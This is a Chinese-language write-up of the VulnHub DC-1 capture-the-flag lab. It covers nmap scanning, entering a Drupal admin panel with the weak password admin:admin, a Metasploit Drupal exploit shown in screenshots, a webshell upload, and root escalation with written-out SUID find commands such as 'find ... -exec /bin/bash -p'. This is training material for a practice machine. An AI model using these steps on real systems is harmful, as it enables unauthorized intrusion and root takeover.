0%

DC-1

0x00 前言

因为早就搞过这个靶机了,现在再整理时思路有些乱;这篇就当作wp吧,毕竟是msf一把梭的,也没学到特别多的东西(不过这个系列本来就是从易到难),大家就将就着看看这篇吧👻

0x01 靶机

难度定位:简单(https://github.com/Ignitetechnologies/CTF-Difficulty

靶机介绍:https://www.vulnhub.com/entry/dc-1,292/

–> 作者说有5个flag <–

0x02 靶机发现

1
nmap -n -sn 192.168.189.0/24 

image-20220406201413582

得到靶机ip为135

0x03 端口探测

1
nmap -sS -sV -O -p- 192.168.189.135

image-20220406201259849

将端口信息整理

1
2
3
4
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
40845/tcp open status 1 (RPC #100024)

0x04 获取shell

先访问80端口,是一个Drupal CMS的站

image-20220406201746924

左侧有登录框,直接弱口令尝试,然后就登进去了=.=(admin:admin

在content块发现flag3

image-20220406203916483

1
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

然后在后台翻来翻去也没找到什么可以利用的地方(或许是单纯的菜

(做之前是想着不用工具来着(爆破除外),但是在后台磨蹭了很久很久也没有突破,最终还是用msf试了试)

先在msf下search一下exploit

image-20220406210415381

利用框中的exp直接打

image-20220406210554174

成功拿到shell

0x05 提升权限

在msf shell下能使用的命令较为有限,我们这里可以上传一个冰蝎马(php reverse的也行,能拿到bash shell就好)

image-20220406211350905

然后连接冰蝎得到一个“正常”shell(可以执行更多命令)

image-20220406211453505

在当前目录下就有一个flag1

image-20220406211635671

1
Every good CMS needs a config file - and so do you.

给我们了查看config文件的线索,上网搜索,在Drupal管理员手册中找到Drupal的默认配置文件路径

image-20220406211900297

查看此配置文件,找到flag2以及数据库配置信息

image-20220406212151249

1
2
3
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?

进入数据库查看一番,也就是在users表中找到管理员账号密码(加密过),还是猜弱口令来的快

不在数据库中多做逗留,直接在shell中尝试提权,最开始的flag3有提到-exec,想到suid find提权,直接开找具有suid权限的命令

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

image-20220406220756558

可以看到find命令具有suid权限,直接利用find提权

先在/var/www目录下创建一个任意文件(这里使用的是touch bilala

然后

1
find bilala -exec "/bin/bash" -p \;

image-20220406221044857

坑点:要加上-p参数,如果没加上-p,bash会将euid(suid)强制设置为uid

image-20220406222416533

可以看到虽然我们用了find命令提权,但只是euid有root权限,如果没使用-p参数,bash命令在检测到euid和uid不等时,会强制使euid=uid,也就是会出现下面这种情况

image-20220406222611509


拿到root后,在/root下找到flag5

image-20220406223126664

1
2
3
4
5
6
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

还剩下一个flag4在家目录里

image-20220406223400985

1
2
3
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

0x06 参考

find提权时坑点:https://blog.csdn.net/rlenew/article/details/111873682

suid提权:https://blog.csdn.net/shuteer_xu/article/details/104912790

-------------本文结束感谢您的阅读-------------